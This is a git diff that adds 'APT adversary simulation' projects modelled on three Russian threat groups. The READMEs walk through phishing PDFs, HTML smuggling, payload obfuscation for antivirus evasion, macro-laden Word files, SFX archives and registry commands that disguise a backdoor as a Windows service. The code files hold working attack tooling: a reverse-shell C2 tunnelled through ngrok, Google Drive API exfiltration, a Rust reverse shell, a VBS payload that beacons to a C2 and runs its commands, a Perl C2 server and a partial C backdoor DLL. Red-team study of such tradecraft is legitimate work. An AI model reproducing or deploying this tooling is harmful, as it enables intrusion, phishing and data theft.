is for simulation only and is still under development +# pip install -r requirements.txt +# python3 GoogleDrive-C2.py +# Author: S3N4T0R +# Date: 2024-6-4 + +# Disclaimer: it's essential to note that this script is for educational purposes only, and any unauthorized use of it could lead to legal consequences. + + +print('''\033[94m + ##### ###### ##### ##### +# # #### #### #### # ###### # # ##### # # # ###### # # # # +# # # # # # # # # # # # # # # # # # # +# #### # # # # # # ##### # # # # # # # ##### ##### # ##### +# # # # # # # ### # # # # ##### # # # # # # +# # # # # # # # # # # # # # # # # # # # # + ##### #### #### #### ###### ###### ###### # # # ## ###### ##### ####### +\033[0m''') + +# Importing necessary libraries +import subprocess +import time +import socket +import base64 +import os +import pyautogui +from pyvirtualdisplay import Display +import random +import shutil +import requests +from Crypto.Cipher import ARC4 +import secrets + + +BLUE = '\033[94m' +GREEN = '\033[92m' +RED = '\033[91m' +YELLOW = '\033[93m' +RESET = '\033[0m' + + +def generate_random_key(length): + return secrets.token_bytes(length) + + +def get_attacker_info(): + attacker_ip = input("[+] Enter the IP for the reverse shell: ") + return attacker_ip + +# Function to encrypt access token using RC4 +def encrypt_access_token(token, key_length): + key = generate_random_key(key_length) + # RC4 encryption + cipher = ARC4.new(key) + encrypted_token = cipher.encrypt(token.encode()) + return base64.b64encode(encrypted_token).decode() + + +def main(): + try: + + access_token = input("[+] Enter your Google Drive API access token: ") + ip = get_attacker_info() + port = input("[+] Enter the port number for the reverse shell and ngrok: ") + key_length = int(input("[+] Enter the length of the RC4 key (in bytes): ")) + + print(GREEN + "[*] Starting ngrok tunnel..." + RESET) + # Starting ngrok tunnel + ngrok_process = subprocess.Popen(['ngrok', 'tcp', port]) + time.sleep(3) + + # Encrypting access token + access_token_encrypted = encrypt_access_token(access_token, key_length) + + # Defining headers for Google Drive API + headers = { + "Authorization": f"Bearer {access_token_encrypted}", + "Content-Type": "application/json", + "User-Agent": "GoogleDrive-API-Client/1.0", + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "en-US,en;q=0.9" + } + + # Creating socket + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((ip, int(port))) + s.listen(1) + print(YELLOW + "[!] Waiting for incoming connection..." + RESET) + client_socket, addr = s.accept() + + # Starting shell + shell = subprocess.Popen(['/bin/bash', '-i'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) + + # Starting display + display = Display(visible=0, size=(800, 600)) + display.start() + + + while True: + command = input(RED + "Enter a command to execute (or type 'exit' to quit): " + RESET) + if command.lower() == "exit": + break + + time.sleep(random.uniform(1, 5)) + + result = subprocess.run(command, shell=True, capture_output=True, text=True) + stdout = result.stdout + stderr = result.stderr + + client_socket.send(command.encode()) + client_socket.send(stdout.encode()) + client_socket.send(stderr.encode()) + + if command.lower() == "screen": + screen = pyautogui.screenshot() + screen_data = base64.b64encode(screen.tobytes()).decode('utf-8') + + client_socket.send(screen_data.encode()) + + while True: + try: + screen = pyautogui.screenshot() + screen_data = base64.b64encode(screen.tobytes()).decode('utf-8') + + client_socket.send(screen_data.encode()) + + time.sleep(0.1) + except KeyboardInterrupt: + print("\nScreen session ended.") + break + + elif command.lower() == "upload": + file_path = input("Enter the path of the file to upload: ") + file_name = os.path.basename(file_path) + with open(file_path, "rb") as f: + file_data = f.read() + url = "https://www.googleapis.com/upload/drive/v3/files?uploadType=media" + response = requests.post(url, headers=headers, data=file_data) + client_socket.send(response.text.encode()) + + elif command.lower() == "download": + file_path = input("Enter the path of the file to download: ") + url = f"https://www.googleapis.com/drive/v3/files/{file_path}?alt=media" + response = requests.get(url, headers=headers) + with open(os.path.basename(file_path), "wb") as f: + f.write(response.content) + client_socket.send("File downloaded successfully.".encode()) + + elif command.lower() == "list_files": + url = "https://www.googleapis.com/drive/v3/files" + response = requests.get(url, headers=headers) + client_socket.send(response.text.encode()) + + else: + client_socket.send(stdout.encode()) + client_socket.send(stderr.encode()) + + + client_socket.close() + s.close() + display.stop() + + + ngrok_process.terminate() + + except Exception as e: + print(RED + f"Error: {e}" + RESET) + +if __name__ == "__main__": + main() + diff --git a/Russian APT/Gossamer-Bear-APT/HTML Smuggling & open phishing url.html b/Russian APT/Gossamer-Bear-APT/HTML Smuggling & open phishing url.html new file mode 100644 index 0000000..0ce7b87 --- /dev/null +++ b/Russian APT/Gossamer-Bear-APT/HTML Smuggling & open phishing url.html @@ -0,0 +1,35 @@ + + + + Open url + + + + + diff --git a/Russian APT/Gossamer-Bear-APT/README.md b/Russian APT/Gossamer-Bear-APT/README.md new file mode 100644 index 0000000..df50d3a --- /dev/null +++ b/Russian APT/Gossamer-Bear-APT/README.md @@ -0,0 +1,106 @@ +# Gossamer Bear APT Adversary Simulation + +This is a simulation of attack by (Gossamer Bear) APT group targeting Institutions logistics support and defense to Ukraine the attack campaign was active from April 2023, +The attack chain starts with send message with either an attached PDF file or a link to a PDF file hosted on a cloud storage platform. The PDF file will be unreadable, with a prominent button purporting to enable reading the content, Pressing the button in a PDF lure causes the default browser to open a link embedded in the PDF file code this is the beginning of the redirection chain. Targets will likely see a web page titled “Docs” in the initial page opened and may be presented with a CAPTCHA to solve before continuing the redirection. The browsing session will end showing a sign-in screen to the account where the spear-phishing email was received, with the targeted email already appearing in the username field. I relied on microsoft tofigure out the details to make this simulation: https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/ + + +![imageedit_2_4168611963](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/0580f5fb-b020-4ca9-be84-af4c313a24f6) + +This attack included several stages including creating a PDF file and placing a hyperlink inside it. The PDF file will be unreadable, with a prominent button intended to enable reading the content, Pressing the button in the PDF file causes the default browser to open a link to a fake page that steals the target's Credential, From the same PDF I also made it possible for me to get Command and Control. + +1. PDF file: created PDF file includes a Hyperlink that leads to a fake page that steals Credential. + +2. HTML Smuggling: it was used to open the URL of the credentials phishing page and also to install the payload. + +3. Now when you click the prominent button in the PDF file it launches the html smuggling file on the apache server which contains payload in base64 encod and the phishing link. + +4. Data exfiltration: over GoogleDrive API C2 Channe, This integrates GoogleDrive API functionality to facilitate communication between the compromised system and the attacker-controlled server thereby potentially hiding the traffic within legitimate GoogleDrive communication. + +5. Make simple reverse shell payload to creates a TCP connection to a command and control (C2) server and listens for commands to execute on the target machine. + +6. The final step in this process involves the execution of the final payload, After it was downloaded through an obfuscated HTML file with base64 encoding and a phishing link was opened. + +![Figure-7 -Examples-of-Star-Blizzard-PDF-lures-when-opened-1536x509](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/e6161bf6-16e5-4865-a4b5-bba916150e6f) + + +## The first stage (delivery technique) + +First the attackers created PDF file includes a Hyperlink that leads to a fake page that steals Credential, The advantage of the hyperlink is that it does not appear in texts, and this is exactly what the attackers wanted to exploit. + +![Screenshot from 2024-05-29 16-19-48](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/3b29fad1-16ef-4d46-862e-7bd6b825db3e) + + +HTML Smuggling it was used to open the URL of the credentials phishing page and also to create an install for payload to get Command and Control, +After that i will place the HTML file in the apache server, take the localhost and place it as a hyperlink in the prominent button in the PDF file. + + +![Screenshot from 2024-05-29 18-54-38](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/6cbb6df5-7444-4546-9eb8-282570d9ec3c) + + +## The second stage (implanting technique) + +Now i will place the phishing link inside the HTML file in addition to the payload through base64 inside the HTML file, In this simulation i used the PyPhisher tool. + +PyPhisher: https://github.com/KasRoudra2/PyPhisher.git + +`base64 payload.exe` + + +![Screenshot from 2024-05-29 19-28-02](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/5a1aa546-0990-4521-866c-1d9ac8862309) + + +After that i will obfuscate the html file after putting the phishing link and the payload inside it before putting it in the apache server + +I used wmtips to make obfuscation for the html file : https://www.wmtips.com/tools/html-obfuscator/#google_vignette + +![Screenshot from 2024-05-29 19-41-51](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/c835211b-d03c-4c14-a261-01af7612f12c) + + +## The third stage (execution technique) +Now when i click the prominent button in the PDF file it launches the html smuggling file on the apache server which contains payload in base64 encod and the phishing link. + +![Screenshot from 2024-06-04 17-00-45](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/ebeb9321-e025-4921-920f-590d24ddce98) + +## The fourth stage (Data Exfiltration) over GoogleDrive API C2 Channe + +In the actual attack, the attackers did not use an actual c2 server or payload and limited themselves to spear phishing, but here I wanted to exploit the presence of a larger HTML file to download the payload and open malicious url. + +First i need to create a google Drive account, as shown in the following figure + +1. Log into the Google Cloud Platform +2. Create a project in Google Cloud Platform dashboard +3. Enable Google Drive API +4. Create a Google Drive API key + +![google-data-api-copy-key-600x386](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/b90e328c-5184-4072-adcb-6a6d7fb2debd) + +I used the GoogleDrive C2 (Command and Control) API as a means to establish a communication channel between the payload and the attacker's server, By using GoogleDrive as a C2 server, i can hide the malicious activities among the legitimate traffic to GoogleDrive, making it harder for security teams to detect the threat. + + +![photo_2024-06-05_08-57-19](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/17205a4c-4150-4b1f-85de-5463d333952b) + +## The fifth stage (payload with reverse shell) + +This payload is a simple reverse shell written in Rust it creates a TCP connection to a command and control (C2) server and listens for commands to execute on the infected machine, the payload first sets up the IP address and port number of the C2 server. + +When a command is received, it is executed using the cmd command in Windows. The output of the command is captured and sent back to the C2 server, the loop continues until the connection is closed by the C2 server or an error occurs while receiving data from the server. + +![Screenshot from 2024-06-05 17-44-02](https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/76d00609-de5b-41b9-b3b8-421b4f48d6c2) + + +## Final result: payload connect to GoogleDrive C2 server + +The final step in this process involves the execution of the final payload, After it was downloaded through an obfuscated HTML file with base64 encoding and a phishing link was opened. + + + + + +https://github.com/S3N4T0R-0X0/Gossamer-Bear-APT/assets/121706460/a4c96a49-7ab6-4665-ad4d-2b80faf646ec + + + + + + + diff --git a/Russian APT/Gossamer-Bear-APT/Scan-000.pdf b/Russian APT/Gossamer-Bear-APT/Scan-000.pdf new file mode 100644 index 0000000..f5f1fee Binary files /dev/null and b/Russian APT/Gossamer-Bear-APT/Scan-000.pdf differ diff --git a/Russian APT/Gossamer-Bear-APT/payload.rs b/Russian APT/Gossamer-Bear-APT/payload.rs new file mode 100644 index 0000000..c0310d0 --- /dev/null +++ b/Russian APT/Gossamer-Bear-APT/payload.rs @@ -0,0 +1,54 @@ +//manual compile: rustc --target=x86_64-pc-windows-gnu payload.rs + +use std::net::TcpStream; +use std::io::{Read, Write}; +use std::process::{Command, Stdio}; + +fn main() { + // Change the IP address and port to match your C2 server + let server_ip = "192.168.1.1"; + let server_port = "4444"; + + // Connect to the C2 server + let mut stream = match TcpStream::connect(format!("{}:{}", server_ip, server_port)) { + Ok(stream) => stream, + Err(e) => { + eprintln!("Failed to connect to the server: {}", e); + return; + } + }; + + // Receive commands from the server and execute them + loop { + let mut command_buffer = [0; 512]; + match stream.read(&mut command_buffer) { + Ok(n) => { + if n == 0 { + // Connection closed by the server + println!("Connection closed by the server."); + break; + } + let command = String::from_utf8_lossy(&command_buffer[..n]); + println!("Received command: {}", command); + + // Execute the command + let output = Command::new("cmd") + .arg("/C") + .arg(command.trim()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()) + .output() + .expect("Failed to execute command."); + + // Send the command output back to the server + stream.write_all(&output.stdout).expect("Failed to send output to server."); + stream.write_all(&output.stderr).expect("Failed to send error output to server."); + } + Err(e) => { + eprintln!("Failed to receive data from the server: {}", e); + break; + } + } + } +} + diff --git a/Russian APT/Gossamer-Bear-APT/requirements.txt b/Russian APT/Gossamer-Bear-APT/requirements.txt new file mode 100644 index 0000000..33bb136 --- /dev/null +++ b/Russian APT/Gossamer-Bear-APT/requirements.txt @@ -0,0 +1,6 @@ +pyautogui==0.9.53 +pyvirtualdisplay==2.2 +requests==2.26.0 +cryptography==36.0.0 +secrets==1.0.2 + diff --git a/Russian APT/Primitive-Bear-APT/C2-Server.pl b/Russian APT/Primitive-Bear-APT/C2-Server.pl new file mode 100644 index 0000000..e52321a --- /dev/null +++ b/Russian APT/Primitive-Bear-APT/C2-Server.pl @@ -0,0 +1,105 @@ +#!/usr/bin/perl +# This Perl C2 server script enable to make remote communication by utilizes DES encryption for secure data transmission between the attacker server and the target. + +# This C2 is for simulation only and is still under development +# perl C2-Server.pl +# Author: S3N4T0R +# Date: 2024-5-25 + +use strict; +use warnings; +use IO::Socket::INET; +use MIME::Base64; +use Crypt::DES; +use Time::HiRes qw(usleep); + +my $WHITE = "\033[97m"; +my $RESET = "\033[0m"; + +print $WHITE . qq( +██████╗ ██████╗ ██╗███╗ ███╗██╗████████╗██╗██╗ ██╗███████╗ ██████╗ ███████╗ █████╗ ██████╗ +██╔══██╗██╔══██╗██║████╗ ████║██║╚══██╔══╝██║██║ ██║██╔════╝ ██╔══██╗██╔════╝██╔══██╗██╔══██╗ +██████╔╝██████╔╝██║██╔████╔██║██║ ██║ ██║██║ ██║█████╗ ██████╔╝█████╗ ███████║██████╔╝ +██╔═══╝ ██╔══██╗██║██║╚██╔╝██║██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗██╔══╝ ██╔══██║██╔══██╗ +██║ ██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██║ ╚████╔╝ ███████╗ ██████╔╝███████╗██║ ██║██║ ██║ +╚═╝ ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝ + +) . $RESET; + +# Function to get attacker information +sub get_attacker_info { + print "Enter the IP address for the reverse shell: "; + my $attacker_ip = ; + chomp($attacker_ip); + return $attacker_ip; +} + +# Function to get port number +sub get_port { + print "Enter the port number for the reverse shell: "; + my $port = ; + chomp($port); + return $port; +} + +# Function to get DES key +sub get_des_key { + print "Enter your DES key (must be 8 bytes long): "; + my $key = ; + chomp($key); + if (length($key) != 8) { + print "Invalid key length. DES key must be 8 bytes long.\n"; + return get_des_key(); # Ask again recursively if length is not 8 + } + return $key; +} + +# Function to encrypt data +sub encrypt_data { + my ($data, $key) = @_; + my $cipher = Crypt::DES->new($key); + my $data_padded = $data . ("\0" x (8 - length($data) % 8)); + my $encrypted = $cipher->encrypt($data_padded); + return encode_base64($encrypted); +} + +# Main function +sub main { + my $ip = get_attacker_info(); + my $port = get_port(); # Get port number + my $key = get_des_key(); # Get DES key + + # Create socket + my $socket = IO::Socket::INET->new( + LocalAddr => $ip, + LocalPort => $port, + Proto => 'tcp', + Listen => 1, + Reuse => 1, + ) or die "Cannot create socket: $!\n"; + + print "Waiting for incoming connection...\n"; + my $client_socket = $socket->accept(); + + + while (1) { + print "Enter a command to execute (or type 'exit' to quit): "; + my $command = ; + chomp($command); + last if $command eq 'exit'; + + next unless $command; + + my $result = `$command 2>&1`; + $result = "" unless defined $result; # Ensure $result is defined + my $encrypted_result = encrypt_data($result, $key); # Use DES key + + $client_socket->send($command . "\n" . $encrypted_result); + usleep(int(rand(4) + 1) * 1000000); # Sleep for a random time between 1 and 5 seconds + } + + close $client_socket; + close $socket; +} + +main(); diff --git a/Russian APT/Primitive-Bear-APT/README.md b/Russian APT/Primitive-Bear-APT/README.md new file mode 100644 index 0000000..899c8cb --- /dev/null +++ b/Russian APT/Primitive-Bear-APT/README.md @@ -0,0 +1,89 @@ +# Primitive Bear APT Adversary Simulation + +This is a simulation of attack by (Primitive Bear) APT group targeting the State Migration Service of Ukraine the attack campaign was active from first of December to June 2021, The attack chain starts with Word document sent to the victim via email then VBS payload is used to obtain the command and control, before placing the payload or injecting it into the Word file an obfuscation of the payload is done to create an evasion of the detection then it is injected through the macro into the Word document, Then i create an SFX archive and put the payload Word file inside it to get command and control and use this SFX archive to perform a spear phishing attack then i get command and control by opening the Word file. I relied on palo alto networks to figure out the details to make this simulation: https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/ + + +![imageedit_2_9352621513](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/a715b1e5-5d3f-48af-a749-7651cb857341) + +This attack included several stages including Create an SFX file with Word File inside it. This Word File contains VBS script which is responsible for command and control and make obfuscation VBS script payload before putting it inside the word file this sent through spear phishing attack and make remote communication by utilizes DES encryption for secure data transmission between the attacker server and the target. + +1. Create the Word Document: Write a Word document (.doc or .docx) containing the macro with the obfuscated VBS payload. The macro should be designed to execute the payload when the document is opened. + +2. Create a VBScript payload designed to establish a reverse connection to the Command and Control (C2) server. + +3. Obfuscate the VBS Payload: Obfuscate the VBS payload to make it more difficult to detect by antivirus software or security solutions. + +4. Create a Self-Extracting Archive with WinRAR: Use WinRAR to create a self-extracting (SFX) archive. +Add the Word document containing the macro and the obfuscated VBS payload to the archive. + +5. Place the obfuscated VBS payload and word file inside the SFX archive to send to the target. + +6. Final result make remote communication by utilizes DES encryption for secure data transmission between the attacker server and the target. + + +![word-image-4](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/9e4ac08a-9ae5-4b39-ad41-ed9d82cc65b6) + +## The first stage (delivery technique) + +I began by drafting the phishing email in a Word document for the upcoming attack. Subsequently, prior to crafting the payload, which will consist of a VBS Script injected into macros, I will encapsulate them within an SFX file. The assault targeted the Ukrainian Immigration Department, with the phishing correspondence purporting to offer financial assistance totaling 2 billion dollars. + +![Screenshot from 2024-05-25 16-59-59](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/44745418-6d38-4bcc-bc42-368227fe63c0) + +This word file will be used to place the VBS script payload into it after obfuscation here will help make detection more difficult when placing this VBS script inside the macro in word file. + +## The Second stage (VBScript payload) + +First i will create a VBS payload which is a simple VBS script designed to establish a reverse connection to the C2 server then open a Word file enable macros and insert the payload into the macro finally i will save the document. + +![Screenshot from 2024-05-25 18-54-11](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/c6389cb6-2d22-44ec-9bac-bb3db6d153d6) + + +## The third stage (Obfuscation VBS payload) +But before I put the VBS payload in the macro i will make an obfuscate to the scripts to make it difficult to detect and i used online VBScript obfuscator to make obfuscate: https://isvbscriptdead.com/vbs-obfuscator/ + + +![Screenshot from 2024-05-25 18-43-46](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/43336935-c058-4f96-9847-478951c6eccc) + + +## The fourth stage (implanting technique) + +Now i will place the obfuscated VBS payload in the microsoft Word File by opening the View menu clicking on Micros, and creating a new macro file. + +![Screenshot from 2024-05-25 18-16-38](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/34e0bade-fc71-4646-ba23-cad761920f96) + +Save the Word file with the obfuscated VBScript payload embedded in the macro, thus i will be able to execute for the payload file when opening word file. + +![Screenshot from 2024-05-25 20-04-19](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/5dca0cd3-2ef8-483b-bd38-c1b902c0b5e6) + +## The fifth stage (make SFX archive) + +Now i will create SFX Archive using WinRAR and take the SFX file that contains the Word Document inside it with obfuscated VBS payload via the macro and send it in a spear phishing. + +1.Open WinRAR and select the files to be included in the archive. + +2.Go to the "Add" menu and choose "Add to archive..." + +3.In the "Archive name and parameters" window, select "SFX" as the archive format. + +4.Configure the SFX options as desired, including the extraction path and execution parameters. + + + +![Screenshot from 2024-05-26 09-23-43](https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/dafe9156-4b6f-4712-97de-cd2d4734439b) + +## Final result (payload connect to C2-server) + +This Perl C2 server script enable to make remote communication by utilizes DES encryption for secure data transmission between the attacker server and the target. + +get_attacker_info and get_port: Prompts for the IP address and port number. + +get_des_key: Prompts for a DES key of 8 bytes. + +encrypt_data: Encrypts command results using DES with padding. + +main: Sets up a TCP server, accepts connections, executes commands, encrypts results, and sends them to the client. + +https://github.com/S3N4T0R-0X0/Primitive-Bear-APT/assets/121706460/e226ac70-42de-4f84-9e15-7f8ac2b47836 + + + diff --git a/Russian APT/Primitive-Bear-APT/payload.vbs b/Russian APT/Primitive-Bear-APT/payload.vbs new file mode 100644 index 0000000..4ddbb35 --- /dev/null +++ b/Russian APT/Primitive-Bear-APT/payload.vbs @@ -0,0 +1,32 @@ +Option Explicit +On Error Resume Next + +CONST callbackUrl = "http://192.168.1.1:4444/" + +Dim xmlHttpReq, shell, execObj, command, break, result + +Set shell = CreateObject("WScript.Shell") + +break = False +While break <> True + Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP") + xmlHttpReq.Open "GET", callbackUrl, false + xmlHttpReq.Send + + command = "cmd /c " & Trim(xmlHttpReq.responseText) + + If InStr(command, "EXIT") Then + break = True + Else + Set execObj = shell.Exec(command) + + result = "" + Do Until execObj.StdOut.AtEndOfStream + result = result & execObj.StdOut.ReadAll() + Loop + + Set xmlHttpReq = WScript.CreateObject("MSXML2.ServerXMLHTTP") + xmlHttpReq.Open "POST", callbackUrl, false + xmlHttpReq.Send(result) + End If +Wend diff --git a/Russian APT/Primitive-Bear-APT/requirements.sh b/Russian APT/Primitive-Bear-APT/requirements.sh new file mode 100644 index 0000000..1976668 --- /dev/null +++ b/Russian APT/Primitive-Bear-APT/requirements.sh @@ -0,0 +1 @@ +cpan IO::Socket::INET MIME::Base64 Crypt::DES File::Slurp Time::HiRes HTTP::Tiny diff --git a/Russian APT/Primitive-Bear-APT/Звіт на ДМС за лист...docx b/Russian APT/Primitive-Bear-APT/Звіт на ДМС за лист...docx new file mode 100644 index 0000000..97bc578 Binary files /dev/null and b/Russian APT/Primitive-Bear-APT/Звіт на ДМС за лист...docx differ diff --git a/Russian APT/Venomous-Bear-APT/Backdoor-C2.py b/Russian APT/Venomous-Bear-APT/Backdoor-C2.py new file mode 100644 index 0000000..f7d585d --- /dev/null +++ b/Russian APT/Venomous-Bear-APT/Backdoor-C2.py @@ -0,0 +1,53 @@ +import socket + +def start_c2_server(): + + print(""" + + ____ _ _ + | _ \ | | | | + | |_) | __ _ ___| | ____| | ___ ___ _ __ + | _ < / _` |/ __| |/ / _` |/ _ \ / _ \| '__| + | |_) | (_| | (__| < (_| | (_) | (_) | | + |____/ \__,_|\___|_|\_\__,_|\___/ \___/|_| + + +""") + + host = input("Enter the IP address to listen on: ") + port = int(input("Enter the port to listen on: ")) + + server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server_socket.bind((host, port)) + server_socket.listen(5) + + print("[+] Listening for connections...") + + while True: + client_socket, addr = server_socket.accept() + print(f"[+] Connection from {addr[0]}:{addr[1]}") + + # Send command to backdoor + command = input("Enter command to send: ") + client_socket.send(command.encode()) + + # Receive output from backdoor + output = b"" + while True: + data = client_socket.recv(4096) + if not data: + break + output += data + + print("[+] Binary output from backdoor:") + try: + print(output.decode()) # Try decoding as UTF-8 + except UnicodeDecodeError: + print("[+] Output is not UTF-8 encoded:") + print(output) + + client_socket.close() + +if __name__ == "__main__": + start_c2_server() + diff --git a/Russian APT/Venomous-Bear-APT/README.md b/Russian APT/Venomous-Bear-APT/README.md new file mode 100644 index 0000000..ac4a9cc --- /dev/null +++ b/Russian APT/Venomous-Bear-APT/README.md @@ -0,0 +1,99 @@ +# Venomous Bear APT Adversary Simulation + +This is a simulation of attack by (Venomous Bear) APT group targeting U.S.A, Germany and Afghanista attack campaign was active since at least 2020, The attack chain starts with +installed the backdoor as a service on the infected machine. They attempted to operate under the radar by naming the service "Windows Time Service", like the existing Windows service. The backdoor can upload and execute files or exfiltrate files from the infected system, and the backdoor contacted the command and control (C2) server via an HTTPS encrypted channel every five seconds to check if there were new commands from the operator. I relied on ‏Cisco Talos Intelligence Group‏ tofigure out the details to make this simulation: https://blog.talosintelligence.com/tinyturla/ + +![imageedit_3_4790485345](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/1a56bebb-927d-4286-8257-aa907f240017) + +The attackers uses a .BAT file that resembles the Microsoft Windows Time Service, to install the backdoor. The backdoor comes in the form of a service dynamic link library (DLL) called w64time.dll. The description and filename make it look like a valid Microsoft DLL. Once up and running, it allows the attackers to exfiltrate files or upload and execute them, thus functioning as a second-stage postern when needed. + +1. BAT file: The attackers used a .bat file similar to the one below to install the backdoor as a harmless-looking fake Microsoft Windows Time service. + +2. DLL backdoor: I have developed a simulation of the backdoor that the attackers used in the actual attack. + +3. Backdoor Listener: I was here developed a simple listener script that waits for the incoming connection from the backdoor when it is executed on the target machine. + + + +According to what the Cisco team said, they were not able to identify the method by which this backdoor was installed on the victims’ systems. + +![Screenshot from 2024-06-09 16-11-23](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/3116c5e9-0476-4b93-a672-bc7436abfce0) + + +## The first stage (.BAT file) + +The attackers used a .bat file similar to the one below to install the backdoor as a harmless-looking fake Microsoft Windows Time service, the .bat file is also setting the configuration parameters in the registry the backdoor is using. + +![Screenshot from 2024-06-07 19-39-16](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/381d1833-3f71-4278-aa56-60952e8d3f55) + +I wrote a .bat file identical to the one the attackers used to the one below to install the backdoor as a fake Microsoft Windows Time service. + +These commands add various configuration parameters for the W64Time service to the registry. + + reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%SystemRoot%\system32\w64time.dll" /f + reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Hosts /t REG_SZ /d "REMOVED 5050" /f + reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v Security /t REG_SZ /d "" /f + reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeLong /t REG_DWORD /d 300000 /f + reg add "HKLM\SYSTEM\CurrentControlSet\services\W64Time\Parameters" /v TimeShort /t REG_DWORD /d 5000 /f + + +ServiceDll: Specifies the DLL that implements the service. + +Hosts: Sets the hosts and port (values removed for security). + +Security: Configures security settings (value removed for security). + +TimeLong: A time-related setting. + +TimeShort: Another time-related setting. + + +![Screenshot from 2024-06-08 07-18-07](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/a1d9236a-12fc-4008-a9a1-0eedb818d0c9) + +This means the malware is running as a service, hidden in the svchost.exe process. The DLL's ServiceMain startup function is doing not much more than executing. + +## The Second stage (DLL backdoor) + +"Here, I have developed a simulation of the backdoor that the attackers used in the actual attack." + +First, the backdoor reads its configuration from the registry and saves it in the "result" structure, which is later on assigned to the "sConfig" structure. + +![Screenshot from 2024-06-08 22-30-51](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/b2164d44-bffd-4c9a-9ebe-574c28104eb0) + + +This backdoor includes the following components: + +1.Service Control Handler: Registers a service control handler to manage the service's state. + +2.Main Malware Function: Placeholder for the main logic of the backdoor. + +3.Configuration Reading: Initializes the configuration with placeholders for actual values. + +4.C2 Command Retrieval: Simulates retrieving commands from a Command and Control (C2) server. + +5.Command Processing: Processes the retrieved commands (currently simulated). + +6.Service Loop: Continuously connects to the C2 server and processes commands, with error handling and cleanup. + +Adjust the placeholder values and add the actual logic for backdoor operations and C2 command processing as per your requirements. + +![Screenshot from 2024-06-08 22-34-36](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/1f3eb42d-b546-4d32-9166-851f0dd00fa6) + +## The third stage (Backdoor Listener) + +I was here developed a simple listener script that waits for the incoming connection from the backdoor when it is executed on the target machine. + +Accepts incoming connections: When a client connects, it prints the client's IP address and port. + +Sends the command: Encodes the command as bytes and sends it over the socket. + +Prompts for a command: Asks the user to enter a command to send to the connected client. + +Continues reading until no more data is received. + +Receives output from the client: Reads data in chunks of 4096 bytes. + +Accumulates the data into the output variable. + +![Screenshot from 2024-06-09 10-44-07](https://github.com/S3N4T0R-0X0/Venomous-Bear-APT/assets/121706460/41bfa80d-a18a-4bd3-ad6d-f243bd29bece) + diff --git a/Russian APT/Venomous-Bear-APT/backdoor.c b/Russian APT/Venomous-Bear-APT/backdoor.c new file mode 100644 index 0000000..1879a68 --- /dev/null +++ b/Russian APT/Venomous-Bear-APT/backdoor.c @@ -0,0 +1,158 @@ +//This backdoor includes the following components: + +//1.Service Control Handler: Registers a service control handler to manage the service's state. +//2.Main Malware Function: Placeholder for the main logic of the backdoor. +//3.Configuration Reading: Initializes the configuration with placeholders for actual values. +//4.C2 Command Retrieval: Simulates retrieving commands from a Command and Control (C2) server. +//5.Command Processing: Processes the retrieved commands (currently simulated). +//6.Service Loop: Continuously connects to the C2 server and processes commands, with error handling and cleanup. + +//Adjust the placeholder values and add the actual logic for backdoor operations and C2 command processing as per your requirements. +//Disclaimer: this backdoor for research & simulation, i am not responsible if anyone uses this payload for illegal purposes + +// Author: S3N4T0R +// Date: 2024-6-8 + +//manual compile: x86_64-w64-mingw32-gcc -o backdoor.dll backdoor.c -lwinhttp + +#include +#include +#include + +#define WINHTTP_FLAG_SECURE 0x00800000 + +typedef struct _sConfig { + LPCWSTR lpSubKey; + int TimeLongValue; + int TimeShortValue; + LPCWSTR SecurityValue; + LPCWSTR Hosts; + int NumIPs; + int HostsIndex; + LPCWSTR MachineGuidValue; + int authenticated; + PROCESS_INFORMATION subprocess; +} sConfig; + +SERVICE_STATUS ServiceStatus; +SERVICE_STATUS_HANDLE hServiceStatus; +sConfig *config; + +void HandlerProc(DWORD dwControl) { + // Handler for service control +} + +void main_malware(const char *serviceName) { + // Placeholder for main malware logic + printf("Running main 